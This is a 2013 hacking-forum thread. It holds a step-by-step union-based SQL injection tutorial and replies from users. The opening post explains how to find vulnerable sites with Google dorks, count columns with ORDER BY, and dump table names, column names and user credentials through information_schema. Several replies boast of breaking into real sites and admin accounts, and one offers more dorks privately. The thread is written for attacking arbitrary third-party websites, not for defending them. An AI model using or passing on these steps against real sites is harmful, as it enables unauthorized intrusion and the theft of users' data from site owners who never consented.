

Forum:[Hack Forums](#)

Thread: [Website Hacking: Basic SQL Injection Tutorial Written By B0RNE](#)

#R00T~ - September 21, 2013, 5:00 am

Website Hacking: SQL Injection Tutorial

To start off I would like to explain what SQL Injection Attack are

SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

(www.en.wikipedia.org)

In this tutorial we will be using google dorks, dorks are for making response more efficient Google has provided few functional words called dorks. Here is an example of how a dork looks like: "site:". This particular is used for finding out the websites with a particular word in their domain name. Such as if you search in Google as "site: uk" you will find the sites which belong to United Kingdom (U.K.) only! This makes your search response very accurate when you are searching something, especially related to a country.

[Here is a google dork list with over 7,000 dorks.](#)

Ok once you have put your dork into google you will see multiple sites with your dork at the end of each url, for example

Spoiler ([Click to View](#))

Simply click one of these sites and put ' at the end of the url making the url look like this

Code `www.website.com/googledork?id=22'`

If you see a error similar to

Code You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' at line 1 mySQL error code then that means that website is vulnerable to SQL, now we have a website we are going to find out how many columns that website has to do this all we must do is put

Code `www.website.com/googledork?id=22 order by 15-- <--- ERROR`

This means there is less than 15 columns

Code `www.website.com/googledork?id=22 order by 10-- <--- ERROR`

This means there is less than 10 columns

Code `www.website.com/googledork?id=22 order by 5-- <--- NO ERROR`

This either means it has 5 columns or more so lets try 6

Code `www.website.com/googledork?id=22 order by 6-- <--- ERROR`

This means there is 5 columns, now we know there is 5 columns we now need to find out which column is vulnerable, to do this we need to do

Code `www.website.com/googledork?id=-22 union all select 1,2,3,4,5--`

Make sure you either put - before the id number or you can change the id number to null

You should now see random number(s) on your screen they are the vulnerable column numbers, say if it is 3 then you will change 3 on in the url to @@version this will then tell you the version, your url should look like this

Code `www.website.com/googledork?id=-22 union all select 1,2,3,4,@@version`

Once you have found out version out you can now find out what the tables are and to this you must change @@version to `group_concat(table_name)` and at the end of the url put from `information_schema.tables--` your URL should look similar to this

Code `www.website.com/googledork?id=-22 union select 1,2,3,4,group_concat(table_name) from information_schema.tables--`

You should now see a bunch of names on the screen these are the table names, you should look out for something that may contain user details or passwords, once you have chosen a table you would like to get information from you need to replace `group_concat(table_name)` with `group_concat(column_name)` and put from `information_schema.columns` where `table_name=Name of table in hex form` at the end, you then need to get the HEX of that table name to do this you will use a

[online text to hex converter](#) once you have your code replace Name of table in hex form with the HEX code

You should then get a load of other names you will then need to change the URL to

Code `www.website.com/googledork?id=-22 union all select 1,2,3,4,group_concat(#1 COLUMN NAME,0x3a,#2 COLUMN NAME) from users--`

That is it, you have just successfully hacked into a website using SQL Injection, I hope you have learned alot from this tutorial, if you need any help either PM me or post below ?

If would like to talk to me on skype just PM me and I will give you my username

Thanks for reading. ?

Liam™ - September 21, 2013, 5:01 am

Vouch for this hedgehog, amazing tutorial helped me lot pm tons for this help/

#R00T~ - September 21, 2013, 5:22 am

(Sep 21, 2013 05:01 AM)Liam™ Wrote: [\[CITE\]](#) Vouch for this hedgehog, amazing tutorial helped me lot pm tons for this help/Thanks for the vouch Liam, much appreciated.

Marwix - September 21, 2013, 5:40 am

Vouch for this tutorial, helps alot of people, goodluck ;-) - Allan

#R00T~ - September 21, 2013, 9:00 am

(Sep 21, 2013 05:40 AM)Noname Fail Wrote: [\[CITE\]](#) Vouch for this tutorial, helps alot of people, goodluck ;-) - AllanThanks Allan really appreciate it ?

Fayz_Golden - September 21, 2013, 9:02 am

Thanks! This should help some members out on HF, and I bookmarked this.

#R00T~ - September 21, 2013, 12:12 pm

(Sep 21, 2013 09:02 AM)?Illuminati? Wrote: [\[CITE\]](#) Thanks! This should help some members out on HF, and I bookmarked this.Thanks ?Illuminati? I hope it does and thanks for bookmarking it ?

Liam™ - September 21, 2013, 12:32 pm

OMG That Sig, hacked some websites playing with admin.

King Xerxes - September 21, 2013, 12:33 pm

Thanks! I just bookmarked this OP. Good share

regexks_temp2 - September 21, 2013, 1:13 pm

Dork based SQLi kinda suck due to the fact that everyone and their mother knows about them and have most likely already used them all.

M0t4w - September 21, 2013, 2:42 pm

Nice tut, nice refresher, haven't done sql in months. probly the shortest elaborate sql guide here

JW1337 - September 21, 2013, 4:04 pm

really nice tutorial, very helpful ;)

#R00T~ - September 22, 2013, 1:47 am

(Sep 21, 2013 12:33 PM)King Xerxes Wrote: [\[CITE\]](#) Thanks! I just bookmarked this OP. Good share Glad to see that you have bookmarked my tutorial!<3 ?

Yurt - September 26, 2013, 7:18 am

Very very good tutorial! Thank you so much! Helped me understand the basics of SQL injections! :)

#R00T~ - September 26, 2013, 8:54 am

(Sep 26, 2013 07:18 AM)Flump. Wrote: [\[CITE\]](#) Very very good tutorial! Thank you so much! Helped me understand the basics of SQL injections! :)Thanks for the support Flump, glad it has helped. ?

Liam™ - September 28, 2013, 12:56 pm

I will grab some more dorks for this user soon, keep your eyes open.

#R00T~ - September 29, 2013, 6:02 am

(Sep 28, 2013 12:56 PM)Liam™ Wrote: [\[CITE\]](#) I will grab some more dorks for this user soon, keep your eyes open.Thanks alot Liam, really appreciate it. ?

Zapu - September 29, 2013, 6:06 am

You should put the different types of SQL Injection(String, Error, Union, xPath, etc)

Will you be making any TuTs on those anytime soon?^ ?

#R00T~ - September 29, 2013, 6:07 am

(Sep 29, 2013 06:06 AM)Extrnl Wrote: [\[CITE\]](#) You should put the different types of SQL Injection(String, Error, Union, xPath, etc)

Will you be making any TuTs on those anytime soon?^ ?I hope to do more tutorials on them types of website attacks, I just prefer to get fluent with the attack then do tutorials. ?

Zapu - September 29, 2013, 6:09 am

(Sep 29, 2013 06:07 AM)B 0 R N E Wrote: [\[CITE\]](#) I hope to do more tutorials on them types of website attacks, I just prefer to get fluent with the attack then do tutorials. ?
Alright. Looking forward to seeing them ?

Red Skull - September 29, 2013, 6:11 am

Thanks for this OP! I just bookmarked this OP

saterialx - September 29, 2013, 6:43 am

Thanks, this was probably one of the best tutorials I've read.

#R00T~ - September 30, 2013, 11:23 am

(Sep 29, 2013 06:43 AM)saterialx Wrote: [\[CITE\]](#) Thanks, this was probably one of the best tutorials I've read.wow thanks alot Saterialx, thats great to hear. <3

traczthefox - September 30, 2013, 6:48 pm

Vouch it works.

I tryed this method the other day.

Got into the admin account and just left it at that.

#R00T~ - October 1, 2013, 7:57 am

(Sep 30, 2013 06:48 PM)traczthefox Wrote: [\[CITE\]](#) Vouch it works.

I tryed this method the other day.

Got into the admin account and just left it at that.Very glad it has helped you dude. ?

Comedic - October 1, 2013, 2:42 pm

I'm sorry but i'm getting this error when i put: www.website.com/googledork

TeChNiQueZ - October 1, 2013, 4:14 pm

Nice tut short and sweet :) just the way i like them

Zapu - October 1, 2013, 4:54 pm

(Oct 1, 2013 02:42 PM)Legend. Wrote: [\[CITE\]](#) I'm sorry but i'm getting this error when i put: www.website.com/googledork

...

No, the website you're trying to inject ends in .php?id=(insert # here)

A google dork would be: inurl:news.php?id=

he's using website.com as an example.

#R00T~ - October 1, 2013, 11:21 pm

(Oct 1, 2013 02:42 PM)Legend. Wrote: [\[CITE\]](#) I'm sorry but i'm getting this error when i put: www.website.com/googledork

www.website.com, that is a example lol, you must find your own site.

.Matt - October 6, 2013, 6:09 am

Been looking for soo long for a good method! Love it borne

eoNe - October 6, 2013, 7:21 am

Amazing tutorial bro thanks for sharing.

Yornooo - October 6, 2013, 7:26 am

Thanks! This should help some members out on HF, and I bookmarked this.

Anon.Steel - October 6, 2013, 10:24 am

Thanks for the tutorial! :D

35 characters.35 characters.35 characters.

eoinryan11 - October 6, 2013, 10:56 am

really good thread, thank it helped a lot

#R00T~ - October 6, 2013, 11:32 pm

(Oct 6, 2013 06:09 AM)?att Wrote: [\[CITE\]](#) Been looking for soo long for a good method! Love it borne Thanks alot Matt, hope it has helped!<3 ?

(Oct 6, 2013 07:21 AM)eoNe Wrote: [\[CITE\]](#) Amazing tutorial bro thanks for sharing.wow, Thanks alot eoNe, I really appreciate it ?

Meitav - October 8, 2013, 12:48 pm

Vouch for B0rne HQ Member and trustable!

#R00T~ - October 8, 2013, 2:29 pm

(Oct 6, 2013 07:21 AM)eoNe Wrote: [\[CITE\]](#) Amazing tutorial bro thanks for sharing.Thanks alot dude, I appreciate it alot!<3 ?

jacko900000 - October 8, 2013, 3:49 pm

Silly question,
But do I need to add a space?

When I do: order by 15--

I get the following error, Any ideas?

MySQL Error: Unknown column '16' in 'order clause' - Please contact site administrator

#R00T~ - October 8, 2013, 11:42 pm

(Oct 8, 2013 03:49 PM)jacko900 Wrote: [\[CITE\]](#) Silly question,
But do I need to add a space?

When I do: order by 15--

I get the following error, Any ideas?

MySQL Error: Unknown column '16' in 'order clause' - Please contact site administratorThat error basically tells you there is less 16 ?

Professor James Moriarty - October 8, 2013, 11:44 pm

This is really good for beginners like me!! A good basic introduction! :)

ShadowCloud - October 9, 2013, 12:07 am

I would personally love to see this expanded for both MySQL and MSSQL (Guess you could throw Oracle in there as well, but meh) along with int and string based injections. Blind injections and bypassing WAF are also two interesting concepts which I believe would work well considering the subject matter (That and friendly error pages are becoming extremely common).

As a point of interest have you considered adding injections via POST instead of just GET? Somehow 90% of tutorials only cover GET values and not POST values?

SHADOW REALM - October 9, 2013, 4:42 am

Make sure you either put - before the id number or you can change the id number to null

You should now see random number(s) on your screen they are the vulnerable column numbers, say if it is 3 then you will change 3 on in the url to @@version this will then tell you the version, your url should look like this

Code `www.website.com/googledork?id=-22 union all select 1,2,3,4,@@version`

What is the point of putting the @@version in if you don't even explain it lol.

#R00T~ - October 9, 2013, 12:49 pm

(Oct 6, 2013 07:26 AM)Yornooo Wrote: [\[CITE\]](#) Thanks! This should help some members out on HF, and I bookmarked this.Thanks alot, and I am always willing to help anyone so just PM me.

xxZWhiteNiggaZxx - October 9, 2013, 3:24 pm

Very well explained, and i worked so... good tut.

#R00T~ - October 12, 2013, 4:10 am

(Oct 8, 2013 11:44 PM)Uchiha Sasuke Wrote: [\[CITE\]](#) This is really good for beginners like me!! A good basic introduction! :)Thanks alot for the support dude, will be doing more tutorials in the future!<3 ?

Liam™ - October 12, 2013, 4:13 am

Private message me for some dorks i have lot more to share.

.Matt - October 12, 2013, 4:14 am

Got my first site today! Thanks for the help #Borney boy

#R00T~ - October 12, 2013, 1:49 pm

Thanks for all the vouches guy! really appreciate it<3

HughWasPhone - October 12, 2013, 2:26 pm

First SQLi guide for me, very nice read and well-explained. Pretty excited to start finding some sites. Thanks for writing this all out!

#R00T~ - October 14, 2013, 10:55 am

(Oct 12, 2013 02:26 PM)HughWasPhone Wrote: [\[CITE\]](#) First SQLi guide for me, very nice read and well-explained. Pretty excited to start finding some sites. Thanks for writing this all out!

Thanks alot dude, really appreciate it!<3

#B0RNE

abouhamza - October 14, 2013, 12:14 pm

hello,

thanks for that! it's clear to read